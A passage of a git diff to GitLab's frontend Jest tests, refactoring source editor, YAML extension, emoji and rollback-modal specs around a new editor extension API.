+ expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
+ false,
+ );
+ });
+
+ it('toggles visibility of the preview DOM element', async () => {
+ await togglePreview();
+ expect(instance.markdownPreview.el.style.display).toBe('block');
+ await togglePreview();
+ expect(instance.markdownPreview.el.style.display).toBe('none');
+ });
+
+ describe('hidden preview DOM element', () => {
+ it('listens to model changes and re-fetches preview', async () => {
+ expect(mockAxios.history.post).toHaveLength(0);
+ await togglePreview();
+ expect(mockAxios.history.post).toHaveLength(1);
+
+ instance.setValue('New Value');
+ await waitForPromises();
+ expect(mockAxios.history.post).toHaveLength(2);
+ });
+
+ it('stores disposable listener for model changes', async () => {
+ expect(instance.markdownPreview.modelChangeListener).toBeUndefined();
+ await togglePreview();
+ expect(instance.markdownPreview.modelChangeListener).toBeDefined();
+ });
+ });
+
+ describe('already visible preview', () => {
+ beforeEach(async () => {
+ await togglePreview();
+ mockAxios.resetHistory();
+ });
+
+ it('does not re-fetch the preview', () => {
+ instance.togglePreview();
+ expect(mockAxios.history.post).toHaveLength(0);
+ });
+
+ it('disposes the model change event listener', () => {
+ const disposeSpy = jest.fn();
+ instance.markdownPreview.modelChangeListener = {
+ dispose: disposeSpy,
+ };
+ instance.togglePreview();
+ expect(disposeSpy).toHaveBeenCalled();
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/editor/source_editor_spec.js b/spec/frontend/editor/source_editor_spec.js
index d87d373c952..bc53202c919 100644
--- a/spec/frontend/editor/source_editor_spec.js
+++ b/spec/frontend/editor/source_editor_spec.js
@@ -1,16 +1,28 @@
-/* eslint-disable max-classes-per-file */
import { editor as monacoEditor, languages as monacoLanguages } from 'monaco-editor';
-import waitForPromises from 'helpers/wait_for_promises';
import {
SOURCE_EDITOR_INSTANCE_ERROR_NO_EL,
URI_PREFIX,
EDITOR_READY_EVENT,
} from '~/editor/constants';
-import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import SourceEditor from '~/editor/source_editor';
import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
import { joinPaths } from '~/lib/utils/url_utility';
+jest.mock('~/helpers/startup_css_helper', () => {
+ return {
+ waitForCSSLoaded: jest.fn().mockImplementation((cb) => {
+ // We have to artificially put the callback's execution
+ // to the end of the current call stack to be able to
+ // test that the callback is called after waitForCSSLoaded.
+ // setTimeout with 0 delay does exactly that.
+ // Otherwise we might end up with false positive results
+ setTimeout(() => {
+ cb.apply();
+ }, 0);
+ }),
+ };
+});
+
describe('Base editor', () => {
let editorEl;
let editor;
@@ -19,7 +31,6 @@ describe('Base editor', () => {
const blobContent = 'Foo Bar';
const blobPath = 'test.md';
const blobGlobalId = 'snippet_777';
- const fakeModel = { foo: 'bar', dispose: jest.fn() };
beforeEach(() => {
setFixtures('<div id="editor" data-editor-loading></div>');
@@ -52,16 +63,6 @@ describe('Base editor', () => {
describe('instance of the Source Editor', () => {
let modelSpy;
let instanceSpy;
- const setModel = jest.fn();
- const dispose = jest.fn();
- const mockModelReturn = (res = fakeModel) => {
- modelSpy = jest.spyOn(monacoEditor, 'createModel').mockImplementation(() => res);
- };
- const mockDecorateInstance = (decorations = {}) => {
- jest.spyOn(SourceEditor, 'convertMonacoToELInstance').mockImplementation((inst) => {
- return Object.assign(inst, decorations);
- });
- };
beforeEach(() => {
modelSpy = jest.spyOn(monacoEditor, 'createModel');
@@ -73,46 +74,38 @@ describe('Base editor', () => {
});
it('throws an error if no dom element is supplied', () => {
- mockDecorateInstance();
- expect(() => {
+ const create = () => {
editor.createInstance();
- }).toThrow(SOURCE_EDITOR_INSTANCE_ERROR_NO_EL);
+ };
+ expect(create).toThrow(SOURCE_EDITOR_INSTANCE_ERROR_NO_EL);
expect(modelSpy).not.toHaveBeenCalled();
expect(instanceSpy).not.toHaveBeenCalled();
- expect(SourceEditor.convertMonacoToELInstance).not.toHaveBeenCalled();
});
- it('creates model to be supplied to Monaco editor', () => {
- mockModelReturn();
- mockDecorateInstance({
- setModel,
- });
- editor.createInstance(defaultArguments);
+ it('creates model and attaches it to the instance', () => {
+ jest.spyOn(monacoEditor, 'createModel');
+ const instance = editor.createInstance(defaultArguments);
- expect(modelSpy).toHaveBeenCalledWith(
+ expect(monacoEditor.createModel).toHaveBeenCalledWith(
blobContent,
undefined,
expect.objectContaining({
path: uriFilePath,
}),
);
- expect(setModel).toHaveBeenCalledWith(fakeModel);
+ expect(instance.getModel().getValue()).toEqual(defaultArguments.blobContent);
});
it('does not create a model automatically if model is passed as `null`', () => {
- mockDecorateInstance({
- setModel,
- });
- editor.createInstance({ ...defaultArguments, model: null });
- expect(modelSpy).not.toHaveBeenCalled();
- expect(setModel).not.toHaveBeenCalled();
+ const instance = editor.createInstance({ ...defaultArguments, model: null });
+ expect(instance.getModel()).toBeNull();
});
it('initializes the instance on a supplied DOM node', () => {
editor.createInstance({ el: editorEl });
- expect(editor.editorEl).not.toBe(null);
+ expect(editor.editorEl).not.toBeNull();
expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.anything());
});
@@ -143,32 +136,43 @@ describe('Base editor', () => {
});
it('disposes instance when the global editor is disposed', () => {
- mockDecorateInstance({
- dispose,
- });
- editor.createInstance(defaultArguments);
+ const instance = editor.createInstance(defaultArguments);
+ instance.dispose = jest.fn();
- expect(dispose).not.toHaveBeenCalled();
+ expect(instance.dispose).not.toHaveBeenCalled();
editor.dispose();
- expect(dispose).toHaveBeenCalled();
+ expect(instance.dispose).toHaveBeenCalled();
});
it("removes the disposed instance from the global editor's storage and disposes the associated model", () => {
- mockModelReturn();
- mockDecorateInstance({
- setModel,
- });
const instance = editor.createInstance(defaultArguments);
expect(editor.instances).toHaveLength(1);
- expect(fakeModel.dispose).not.toHaveBeenCalled();
+ expect(instance.getModel()).not.toBeNull();
instance.dispose();
expect(editor.instances).toHaveLength(0);
- expect(fakeModel.dispose).toHaveBeenCalled();
+ expect(instance.getModel()).toBeNull();
+ });
+
+ it('resets the layout in waitForCSSLoaded callback', async () => {
+ const layoutSpy = jest.fn();
+ jest.spyOn(monacoEditor, 'create').mockReturnValue({
+ layout: layoutSpy,
+ setModel: jest.fn(),
+ onDidDispose: jest.fn(),
+ dispose: jest.fn(),
+ });
+ editor.createInstance(defaultArguments);
+ expect(layoutSpy).not.toHaveBeenCalled();
+
+ // We're waiting for the waitForCSSLoaded mock to kick in
+ await jest.runOnlyPendingTimers();
+
+ expect(layoutSpy).toHaveBeenCalled();
});
});
@@ -214,26 +218,17 @@ describe('Base editor', () => {
});
it('correctly disposes the diff editor model', () => {
- const modifiedModel = fakeModel;
- const originalModel = { ...fakeModel };
- mockDecorateInstance({
- getModel: jest.fn().mockReturnValue({
- original: originalModel,
- modified: modifiedModel,
- }),
- });
-
const instance = editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
expect(editor.instances).toHaveLength(1);
- expect(originalModel.dispose).not.toHaveBeenCalled();
- expect(modifiedModel.dispose).not.toHaveBeenCalled();
+ expect(instance.getOriginalEditor().getModel()).not.toBeNull();
+ expect(instance.getModifiedEditor().getModel()).not.toBeNull();
instance.dispose();
expect(editor.instances).toHaveLength(0);
- expect(originalModel.dispose).toHaveBeenCalled();
- expect(modifiedModel.dispose).toHaveBeenCalled();
+ expect(instance.getOriginalEditor().getModel()).toBeNull();
+ expect(instance.getModifiedEditor().getModel()).toBeNull();
});
});
});
@@ -355,282 +350,19 @@ describe('Base editor', () => {
expect(instance.getValue()).toBe(blobContent);
});
- it('is capable of changing the language of the model', () => {
- // ignore warnings and errors Monaco posts during setup
- // (due to being called from Jest/Node.js environment)
- jest.spyOn(console, 'warn').mockImplementation(() => {});
- jest.spyOn(console, 'error').mockImplementation(() => {});
-
- const blobRenamedPath = 'test.js';
-
- expect(instance.getModel().getLanguageIdentifier().language).toBe('markdown');
- instance.updateModelLanguage(blobRenamedPath);
-
- expect(instance.getModel().getLanguageIdentifier().language).toBe('javascript');
- });
-
- it('falls back to plaintext if there is no language associated with an extension', () => {
- const blobRenamedPath = 'test.myext';
- const spy = jest.spyOn(console, 'error').mockImplementation(() => {});
-
- instance.updateModelLanguage(blobRenamedPath);
-
- expect(spy).not.toHaveBeenCalled();
- expect(instance.getModel().getLanguageIdentifier().language).toBe('plaintext');
- });
- });
-
- describe('extensions', () => {
- let instance;
- const alphaRes = jest.fn();
- const betaRes = jest.fn();
- const fooRes = jest.fn();
- const barRes = jest.fn();
- class AlphaClass {
- constructor() {
- this.res = alphaRes;
- }
- alpha() {
- return this?.nonExistentProp || alphaRes;
- }
- }
- class BetaClass {
- beta() {
- return this?.nonExistentProp || betaRes;
- }
- }
- class WithStaticMethod {
- constructor({ instance: inst, ...options } = {}) {
- Object.assign(inst, options);
- }
- static computeBoo(a) {
- return a + 1;
- }
- boo() {
- return WithStaticMethod.computeBoo(this.base);
- }
- }
- class WithStaticMethodExtended extends SourceEditorExtension {
- static computeBoo(a) {
- return a + 1;
- }
- boo() {
- return WithStaticMethodExtended.computeBoo(this.base);
- }
- }
- const AlphaExt = new AlphaClass();
- const BetaExt = new BetaClass();
- const FooObjExt = {
- foo() {
- return fooRes;
- },
- };
- const BarObjExt = {
- bar() {
- return barRes;
- },
- };
-
- describe('basic functionality', () => {
- beforeEach(() => {
- instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
- });
-
- it('does not fail if no extensions supplied', () => {
- const spy = jest.spyOn(global.console, 'error');
- instance.use();
-
- expect(spy).not.toHaveBeenCalled();
- });
-
- it("does not extend instance with extension's constructor", () => {
- expect(instance.constructor).toBeDefined();
- const { constructor } = instance;
-
- expect(AlphaExt.constructor).toBeDefined();
- expect(AlphaExt.constructor).not.toEqual(constructor);
-
- instance.use(AlphaExt);
- expect(instance.constructor).toBe(constructor);
- });
-
- it.each`
- type | extensions | methods | expectations
- ${'ES6 classes'} | ${AlphaExt} | ${['alpha']} | ${[alphaRes]}
- ${'multiple ES6 classes'} | ${[AlphaExt, BetaExt]} | ${['alpha', 'beta']} | ${[alphaRes, betaRes]}
- ${'simple objects'} | ${FooObjExt} | ${['foo']} | ${[fooRes]}
- ${'multiple simple objects'} | ${[FooObjExt, BarObjExt]} | ${['foo', 'bar']} | ${[fooRes, barRes]}
- ${'combination of ES6 classes and objects'} | ${[AlphaExt, BarObjExt]} | ${['alpha', 'bar']} | ${[alphaRes, barRes]}
- `('is extensible with $type', ({ extensions, methods, expectations } = {}) => {
- methods.forEach((method) => {
- expect(instance[method]).toBeUndefined();
- });
-
- instance.use(extensions);
-
- methods.forEach((method) => {
- expect(instance[method]).toBeDefined();
- });
-
- expectations.forEach((expectation, i) => {
- expect(instance[methods[i]].call()).toEqual(expectation);
- });
- });
-
- it('does not extend instance with private data of an extension', () => {
- const ext = new WithStaticMethod({ instance });
- ext.staticMethod = () => {
- return 'foo';
- };
- ext.staticProp = 'bar';
-
- expect(instance.boo).toBeUndefined();
- expect(instance.staticMethod).toBeUndefined();
- expect(instance.staticProp).toBeUndefined();
-
- instance.use(ext);
-
- expect(instance.boo).toBeDefined();
- expect(instance.staticMethod).toBeUndefined();
- expect(instance.staticProp).toBeUndefined();
- });
-
- it.each([WithStaticMethod, WithStaticMethodExtended])(
- 'properly resolves data for an extension with private data',
- (ExtClass) => {
- const base = 1;
- expect(instance.base).toBeUndefined();
- expect(instance.boo).toBeUndefined();
-
- const ext = new ExtClass({ instance, base });
-
- instance.use(ext);
- expect(instance.base).toBe(1);
- expect(instance.boo()).toBe(2);
- },
- );
-
- it('uses the last definition of a method in case of an overlap', () => {
- const FooObjExt2 = { foo: 'foo2' };
- instance.use([FooObjExt, BarObjExt, FooObjExt2]);
- expect(instance).toMatchObject({
- foo: 'foo2',
- ...BarObjExt,
- });
- });
-
- it('correctly resolves references withing extensions', () => {
- const FunctionExt = {
- inst() {
- return this;
- },
- mod() {
- return this.getModel();
- },
+ it('emits the EDITOR_READY_EVENT event after setting up the instance', () => {
+ jest.spyOn(monacoEditor, 'create').mockImplementation(() => {
+ return {
+ setModel: jest.fn(),
+ onDidDispose: jest.fn(),
+ layout: jest.fn(),
};
- instance.use(FunctionExt);
- expect(instance.inst()).toEqual(editor.instances[0]);
- });
- });
-
- describe('extensions as an instance parameter', () => {
- let editorExtensionSpy;
- const instanceConstructor = (extensions = []) => {
- return editor.createInstance({
- el: editorEl,
- blobPath,
- blobContent,
- extensions,
- });
- };
-
- beforeEach(() => {
- editorExtensionSpy = jest
- .spyOn(SourceEditor, 'pushToImportsArray')
- .mockImplementation((arr) => {
- arr.push(
- Promise.resolve({
- default: {},
- }),
- );
- });
- });
-
- it.each([undefined, [], [''], ''])(
- 'does not fail and makes no fetch if extensions is %s',
- () => {
- instance = instanceConstructor(null);
- expect(editorExtensionSpy).not.toHaveBeenCalled();
- },
- );
-
- it.each`
- type | value | callsCount
- ${'simple string'} | ${'foo'} | ${1}
- ${'combined string'} | ${'foo, bar'} | ${2}
- ${'array of strings'} | ${['foo', 'bar']} | ${2}
- `('accepts $type as an extension parameter', ({ value, callsCount }) => {
- instance = instanceConstructor(value);
- expect(editorExtensionSpy).toHaveBeenCalled();
- expect(editorExtensionSpy.mock.calls).toHaveLength(callsCount);
- });
-
- it.each`
- desc | path | expectation
- ${'~/editor'} | ${'foo'} | ${'~/editor/foo'}
- ${'~/CUSTOM_PATH with leading slash'} | ${'/my_custom_path/bar'} | ${'~/my_custom_path/bar'}
- ${'~/CUSTOM_PATH without leading slash'} | ${'my_custom_path/delta'} | ${'~/my_custom_path/delta'}
- `('fetches extensions from $desc path', ({ path, expectation }) => {
- instance = instanceConstructor(path);
- expect(editorExtensionSpy).toHaveBeenCalledWith(expect.any(Array), expectation);
- });
-
- it('emits EDITOR_READY_EVENT event after all extensions were applied', async () => {
- const calls = [];
- const eventSpy = jest.fn().mockImplementation(() => {
- calls.push('event');
- });
- const useSpy = jest.fn().mockImplementation(() => {
- calls.push('use');
- });
- jest.spyOn(SourceEditor, 'convertMonacoToELInstance').mockImplementation((inst) => {
- const decoratedInstance = inst;
- decoratedInstance.use = useSpy;
- return decoratedInstance;
- });
- editorEl.addEventListener(EDITOR_READY_EVENT, eventSpy);
- instance = instanceConstructor('foo, bar');
- await waitForPromises();
- expect(useSpy.mock.calls).toHaveLength(2);
- expect(calls).toEqual(['use', 'use', 'event']);
- });
- });
-
- describe('multiple instances', () => {
- let inst1;
- let inst2;
- let editorEl1;
- let editorEl2;
-
- beforeEach(() => {
- setFixtures('<div id="editor1"></div><div id="editor2"></div>');
- editorEl1 = document.getElementById('editor1');
- editorEl2 = document.getElementById('editor2');
- inst1 = editor.createInstance({ el: editorEl1, blobPath: `foo-${blobPath}` });
- inst2 = editor.createInstance({ el: editorEl2, blobPath: `bar-${blobPath}` });
- });
-
- afterEach(() => {
- editor.dispose();
- editorEl1.remove();
- editorEl2.remove();
- });
-
- it('extends all instances if no specific instance is passed', () => {
- editor.use(AlphaExt);
- expect(inst1.alpha()).toEqual(alphaRes);
- expect(inst2.alpha()).toEqual(alphaRes);
});
+ const eventSpy = jest.fn();
+ editorEl.addEventListener(EDITOR_READY_EVENT, eventSpy);
+ expect(eventSpy).not.toHaveBeenCalled();
+ editor.createInstance({ el: editorEl });
+ expect(eventSpy).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/editor/source_editor_yaml_ext_spec.js b/spec/frontend/editor/source_editor_yaml_ext_spec.js
index 97d2b0b21d0..a861d9c7a45 100644
--- a/spec/frontend/editor/source_editor_yaml_ext_spec.js
+++ b/spec/frontend/editor/source_editor_yaml_ext_spec.js
@@ -2,6 +2,10 @@ import { Document } from 'yaml';
import SourceEditor from '~/editor/source_editor';
import { YamlEditorExtension } from '~/editor/extensions/source_editor_yaml_ext';
import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
+import { spyOnApi } from 'jest/editor/helpers';
+
+let baseExtension;
+let yamlExtension;
const getEditorInstance = (editorInstanceOptions = {}) => {
setFixtures('<div id="editor"></div>');
@@ -16,7 +20,10 @@ const getEditorInstance = (editorInstanceOptions = {}) => {
const getEditorInstanceWithExtension = (extensionOptions = {}, editorInstanceOptions = {}) => {
setFixtures('<div id="editor"></div>');
const instance = getEditorInstance(editorInstanceOptions);
- instance.use(new YamlEditorExtension({ instance, ...extensionOptions }));
+ [baseExtension, yamlExtension] = instance.use([
+ { definition: SourceEditorExtension },
+ { definition: YamlEditorExtension, setupOptions: extensionOptions },
+ ]);
// Remove the below once
// https://gitlab.com/gitlab-org/gitlab/-/issues/325992 is resolved
@@ -29,19 +36,16 @@ const getEditorInstanceWithExtension = (extensionOptions = {}, editorInstanceOpt
describe('YamlCreatorExtension', () => {
describe('constructor', () => {
- it('saves constructor options', () => {
+ it('saves setupOptions options on the extension, but does not expose those to instance', () => {
+ const highlightPath = 'foo';
const instance = getEditorInstanceWithExtension({
- highlightPath: 'foo',
+ highlightPath,
enableComments: true,
});
- expect(instance).toEqual(
- expect.objectContaining({
- options: expect.objectContaining({
- highlightPath: 'foo',
- enableComments: true,
- }),
- }),
- );
+ expect(yamlExtension.obj.highlightPath).toBe(highlightPath);
+ expect(yamlExtension.obj.enableComments).toBe(true);
+ expect(instance.highlightPath).toBeUndefined();
+ expect(instance.enableComments).toBeUndefined();
});
it('dumps values loaded with the model constructor options', () => {
@@ -55,7 +59,7 @@ describe('YamlCreatorExtension', () => {
it('registers the onUpdate() function', () => {
const instance = getEditorInstance();
const onDidChangeModelContent = jest.spyOn(instance, 'onDidChangeModelContent');
- instance.use(new YamlEditorExtension({ instance }));
+ instance.use({ definition: YamlEditorExtension });
expect(onDidChangeModelContent).toHaveBeenCalledWith(expect.any(Function));
});
@@ -82,21 +86,21 @@ describe('YamlCreatorExtension', () => {
it('should call transformComments if enableComments is true', () => {
const instance = getEditorInstanceWithExtension({ enableComments: true });
const transformComments = jest.spyOn(YamlEditorExtension, 'transformComments');
- YamlEditorExtension.initFromModel(instance, model);
+ instance.initFromModel(model);
expect(transformComments).toHaveBeenCalled();
});
it('should not call transformComments if enableComments is false', () => {
const instance = getEditorInstanceWithExtension({ enableComments: false });
const transformComments = jest.spyOn(YamlEditorExtension, 'transformComments');
- YamlEditorExtension.initFromModel(instance, model);
+ instance.initFromModel(model);
expect(transformComments).not.toHaveBeenCalled();
});
it('should call setValue with the stringified model', () => {
const instance = getEditorInstanceWithExtension();
const setValue = jest.spyOn(instance, 'setValue');
- YamlEditorExtension.initFromModel(instance, model);
+ instance.initFromModel(model);
expect(setValue).toHaveBeenCalledWith(doc.toString());
});
});
@@ -240,26 +244,35 @@ foo:
it("should call setValue with the stringified doc if the editor's value is empty", () => {
const instance = getEditorInstanceWithExtension();
const setValue = jest.spyOn(instance, 'setValue');
- const updateValue = jest.spyOn(instance, 'updateValue');
+ const updateValueSpy = jest.fn();
+ spyOnApi(yamlExtension, {
+ updateValue: updateValueSpy,
+ });
instance.setDoc(doc);
expect(setValue).toHaveBeenCalledWith(doc.toString());
- expect(updateValue).not.toHaveBeenCalled();
+ expect(updateValueSpy).not.toHaveBeenCalled();
});
it("should call updateValue with the stringified doc if the editor's value is not empty", () => {
const instance = getEditorInstanceWithExtension({}, { value: 'asjkdhkasjdh' });
const setValue = jest.spyOn(instance, 'setValue');
- const updateValue = jest.spyOn(instance, 'updateValue');
+ const updateValueSpy = jest.fn();
+ spyOnApi(yamlExtension, {
+ updateValue: updateValueSpy,
+ });
instance.setDoc(doc);
expect(setValue).not.toHaveBeenCalled();
- expect(updateValue).toHaveBeenCalledWith(doc.toString());
+ expect(updateValueSpy).toHaveBeenCalledWith(instance, doc.toString());
});
it('should trigger the onUpdate method', () => {
const instance = getEditorInstanceWithExtension();
- const onUpdate = jest.spyOn(instance, 'onUpdate');
+ const onUpdateSpy = jest.fn();
+ spyOnApi(yamlExtension, {
+ onUpdate: onUpdateSpy,
+ });
instance.setDoc(doc);
- expect(onUpdate).toHaveBeenCalled();
+ expect(onUpdateSpy).toHaveBeenCalled();
});
});
@@ -320,9 +333,12 @@ foo:
it('calls highlight', () => {
const highlightPath = 'foo';
const instance = getEditorInstanceWithExtension({ highlightPath });
- instance.highlight = jest.fn();
+ // Here we do not spy on the public API method of the extension, but rather
+ // the public method of the extension's instance.
+ // This is required based on how `onUpdate` works
+ const highlightSpy = jest.spyOn(yamlExtension.obj, 'highlight');
instance.onUpdate();
- expect(instance.highlight).toHaveBeenCalledWith(highlightPath);
+ expect(highlightSpy).toHaveBeenCalledWith(instance, highlightPath);
});
});
@@ -350,8 +366,12 @@ foo:
beforeEach(() => {
instance = getEditorInstanceWithExtension({ highlightPath: highlightPathOnSetup }, { value });
- highlightLinesSpy = jest.spyOn(SourceEditorExtension, 'highlightLines');
- removeHighlightsSpy = jest.spyOn(SourceEditorExtension, 'removeHighlights');
+ highlightLinesSpy = jest.fn();
+ removeHighlightsSpy = jest.fn();
+ spyOnApi(baseExtension, {
+ highlightLines: highlightLinesSpy,
+ removeHighlights: removeHighlightsSpy,
+ });
});
afterEach(() => {
@@ -361,7 +381,7 @@ foo:
it('saves the highlighted path in highlightPath', () => {
const path = 'foo.bar';
instance.highlight(path);
- expect(instance.options.highlightPath).toEqual(path);
+ expect(yamlExtension.obj.highlightPath).toEqual(path);
});
it('calls highlightLines with a number of lines', () => {
@@ -374,14 +394,14 @@ foo:
instance.highlight(null);
expect(removeHighlightsSpy).toHaveBeenCalledWith(instance);
expect(highlightLinesSpy).not.toHaveBeenCalled();
- expect(instance.options.highlightPath).toBeNull();
+ expect(yamlExtension.obj.highlightPath).toBeNull();
});
it('throws an error if path is invalid and does not change the highlighted path', () => {
expect(() => instance.highlight('invalidPath[0]')).toThrow(
'The node invalidPath[0] could not be found inside the document.',
);
- expect(instance.options.highlightPath).toEqual(highlightPathOnSetup);
+ expect(yamlExtension.obj.highlightPath).toEqual(highlightPathOnSetup);
expect(highlightLinesSpy).not.toHaveBeenCalled();
expect(removeHighlightsSpy).not.toHaveBeenCalled();
});
diff --git a/spec/frontend/emoji/index_spec.js b/spec/frontend/emoji/index_spec.js
index 9652c513671..cc037586496 100644
--- a/spec/frontend/emoji/index_spec.js
+++ b/spec/frontend/emoji/index_spec.js
@@ -1,6 +1,21 @@
-import { emojiFixtureMap, mockEmojiData, initEmojiMock } from 'helpers/emoji';
+import {
+ emojiFixtureMap,
+ mockEmojiData,
+ initEmojiMock,
+ validEmoji,
+ invalidEmoji,
+ clearEmojiMock,
+} from 'helpers/emoji';
import { trimText } from 'helpers/text_helper';
-import { glEmojiTag, searchEmoji, getEmojiInfo, sortEmoji } from '~/emoji';
+import {
+ glEmojiTag,
+ searchEmoji,
+ getEmojiInfo,
+ sortEmoji,
+ initEmojiMap,
+ getAllEmoji,
+} from '~/emoji';
+
import isEmojiUnicodeSupported, {
isFlagEmoji,
isRainbowFlagEmoji,
@@ -9,7 +24,6 @@ import isEmojiUnicodeSupported, {
isHorceRacingSkinToneComboEmoji,
isPersonZwjEmoji,
} from '~/emoji/support/is_emoji_unicode_supported';
-import { sanitize } from '~/lib/dompurify';
const emptySupportMap = {
personZwj: false,
@@ -31,14 +45,55 @@ const emptySupportMap = {
};
describe('emoji', () => {
- let mock;
-
beforeEach(async () => {
- mock = await initEmojiMock();
+ await initEmojiMock();
});
afterEach(() => {
- mock.restore();
+ clearEmojiMock();
+ });
+
+ describe('initEmojiMap', () => {
+ it('should contain valid emoji', async () => {
+ await initEmojiMap();
+
+ const allEmoji = Object.keys(getAllEmoji());
+ Object.keys(validEmoji).forEach((key) => {
+ expect(allEmoji.includes(key)).toBe(true);
+ });
+ });
+
+ it('should not contain invalid emoji', async () => {
+ await initEmojiMap();
+
+ const allEmoji = Object.keys(getAllEmoji());
+ Object.keys(invalidEmoji).forEach((key) => {
+ expect(allEmoji.includes(key)).toBe(false);
+ });
+ });
+
+ it('fixes broken pride emoji', async () => {
+ clearEmojiMock();
+ await initEmojiMock({
+ gay_pride_flag: {
+ c: 'flags',
+ // Without a zero-width joiner
+ e: 'ðŸ³ðŸŒˆ',
+ name: 'gay_pride_flag',
+ u: '6.0',
+ },
+ });
+
+ expect(getAllEmoji()).toEqual({
+ gay_pride_flag: {
+ c: 'flags',
+ // With a zero-width joiner
+ e: 'ðŸ³ï¸â€ðŸŒˆ',
+ name: 'gay_pride_flag',
+ u: '6.0',
+ },
+ });
+ });
});
describe('glEmojiTag', () => {
@@ -378,32 +433,14 @@ describe('emoji', () => {
});
describe('searchEmoji', () => {
- const emojiFixture = Object.keys(mockEmojiData).reduce((acc, k) => {
- const { name, e, u, d } = mockEmojiData[k];
- acc[k] = { name, e: sanitize(e), u, d };
-
- return acc;
- }, {});
-
it.each([undefined, null, ''])("should return all emoji when the input is '%s'", (input) => {
const search = searchEmoji(input);
- const expected = [
- 'atom',
- 'bomb',
- 'construction_worker_tone5',
- 'five',
- 'grey_question',
- 'black_heart',
- 'heart',
- 'custard',
- 'star',
- 'xss',
- ].map((name) => {
+ const expected = Object.keys(validEmoji).map((name) => {
return {
- emoji: emojiFixture[name],
+ emoji: mockEmojiData[name],
field: 'd',
- fieldValue: emojiFixture[name].d,
+ fieldValue: mockEmojiData[name].d,
score: 0,
};
});
@@ -453,7 +490,7 @@ describe('emoji', () => {
const { field, score, fieldValue, name } = item;
return {
- emoji: emojiFixture[name],
+ emoji: mockEmojiData[name],
field,
fieldValue,
score,
@@ -564,9 +601,9 @@ describe('emoji', () => {
const { field, score, name } = item;
return {
- emoji: emojiFixture[name],
+ emoji: mockEmojiData[name],
field,
- fieldValue: emojiFixture[name][field],
+ fieldValue: mockEmojiData[name][field],
score,
};
});
@@ -622,13 +659,4 @@ describe('emoji', () => {
expect(sortEmoji(scoredItems)).toEqual(expected);
});
});
-
- describe('sanitize emojis', () => {
- it('should return sanitized emoji', () => {
- expect(getEmojiInfo('xss')).toEqual({
- ...mockEmojiData.xss,
- e: '<img src="x">',
- });
- });
- });
});
diff --git a/spec/frontend/environments/confirm_rollback_modal_spec.js b/spec/frontend/environments/confirm_rollback_modal_spec.js
index d62aaec4f69..b699f953945 100644
--- a/spec/frontend/environments/confirm_rollback_modal_spec.js
+++ b/spec/frontend/environments/confirm_rollback_modal_spec.js
@@ -1,6 +1,9 @@
import { GlModal, GlSprintf } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
import ConfirmRollbackModal from '~/environments/components/confirm_rollback_modal.vue';
+import createMockApollo from 'helpers/mock_apollo_helper';
import eventHub from '~/environments/event_hub';
describe('Confirm Rollback Modal Component', () => {
@@ -17,6 +20,17 @@ describe('Confirm Rollback Modal Component', () => {
modalId: 'test',
};
+ const envWithLastDeploymentGraphql = {
+ name: 'test',
+ lastDeployment: {
+ commit: {
+ shortId: 'abc0123',
+ },
+ 'last?': true,
+ },
+ modalId: 'test',
+ };
+
const envWithoutLastDeployment = {
name: 'test',
modalId: 'test',
@@ -26,7 +40,7 @@ describe('Confirm Rollback Modal Component', () => {
const retryPath = 'test/-/jobs/123/retry';
- const createComponent = (props = {}) => {
+ const createComponent = (props = {}, options = {}) => {
component = shallowMount(ConfirmRollbackModal, {
propsData: {
...props,
@@ -34,6 +48,7 @@ describe('Confirm Rollback Modal Component', () => {
stubs: {
GlSprintf,
},
+ ...options,
});
};
@@ -101,4 +116,121 @@ describe('Confirm Rollback Modal Component', () => {
});
},
);
+
+ describe('graphql', () => {
+ describe.each`
+ hasMultipleCommits | environmentData | retryUrl | primaryPropsAttrs
+ ${true} | ${envWithLastDeploymentGraphql} | ${null} | ${[{ variant: 'danger' }]}
+ ${false} | ${envWithoutLastDeployment} | ${retryPath} | ${[{ variant: 'danger' }, { 'data-method': 'post' }, { href: retryPath }]}
+ `(
+ 'when hasMultipleCommits=$hasMultipleCommits',
+ ({ hasMultipleCommits, environmentData, retryUrl, primaryPropsAttrs }) => {
+ Vue.use(VueApollo);
+
+ let apolloProvider;
+ let rollbackResolver;
+
+ beforeEach(() => {
+ rollbackResolver = jest.fn();
+ apolloProvider = createMockApollo([], {
+ Mutation: { rollbackEnvironment: rollbackResolver },
+ });
+ environment = environmentData;
+ });
+
+ it('should set contain the commit hash and ask for confirmation', () => {
+ createComponent(
+ {
+ environment: {
+ ...environment,
+ lastDeployment: {
+ ...environment.lastDeployment,
+ 'last?': false,
+ },
+ },
+ hasMultipleCommits,
+ retryUrl,
+ graphql: true,
+ },
+ { apolloProvider },
+ );
+ const modal = component.find(GlModal);
+
+ expect(modal.text()).toContain('commit abc0123');
+ expect(modal.text()).toContain('Are you sure you want to continue?');
+ });
+
+ it('should show "Rollback" when isLastDeployment is false', () => {
+ createComponent(
+ {
+ environment: {
+ ...environment,
+ lastDeployment: {
+ ...environment.lastDeployment,
+ 'last?': false,
+ },
+ },
+ hasMultipleCommits,
+ retryUrl,
+ graphql: true,
+ },
+ { apolloProvider },
+ );
+ const modal = component.find(GlModal);
+
+ expect(modal.attributes('title')).toContain('Rollback');
+ expect(modal.attributes('title')).toContain('test');
+ expect(modal.props('actionPrimary').text).toBe('Rollback');
+ expect(modal.props('actionPrimary').attributes).toEqual(primaryPropsAttrs);
+ });
+
+ it('should show "Re-deploy" when isLastDeployment is true', () => {
+ createComponent(
+ {
+ environment: {
+ ...environment,
+ lastDeployment: {
+ ...environment.lastDeployment,
+ 'last?': true,
+ },
+ },
+ hasMultipleCommits,
+ graphql: true,
+ },
+ { apolloProvider },
+ );
+
+ const modal = component.find(GlModal);
+
+ expect(modal.attributes('title')).toContain('Re-deploy');
+ expect(modal.attributes('title')).toContain('test');
+ expect(modal.props('actionPrimary').text).toBe('Re-deploy');
+ });
+
+ it('should commit the "rollback" mutation when "ok" is clicked', async () => {
